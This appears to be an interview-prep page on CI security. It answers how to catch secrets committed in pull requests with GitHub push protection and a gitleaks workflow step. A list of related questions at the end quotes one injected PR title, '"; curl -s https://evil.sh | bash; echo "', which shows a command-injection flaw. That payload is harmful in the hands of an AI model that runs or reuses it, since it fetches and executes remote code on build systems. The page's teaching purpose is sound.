You want to detect secrets accidentally committed in PRs within CI. How?
BeginnerScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Secret scanning at PR time.
What I'd do →
- Enable GitHub secret scanning with push protection (blocks pushes containing known token formats).
- Add
gitleaksin CI for custom patterns:- uses: actions/checkout@v4 with: { fetch-depth: 0 } - run: docker run --rm -v "$PWD:/repo" zricethezav/gitleaks:v8.21.2 detect --source /repo --log-opts "origin/main..HEAD"
Why → Push protection prevents the leak; CI scanning catches custom formats.
Interview tip → Remember that a committed secret must be rotated even if the commit is removed.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner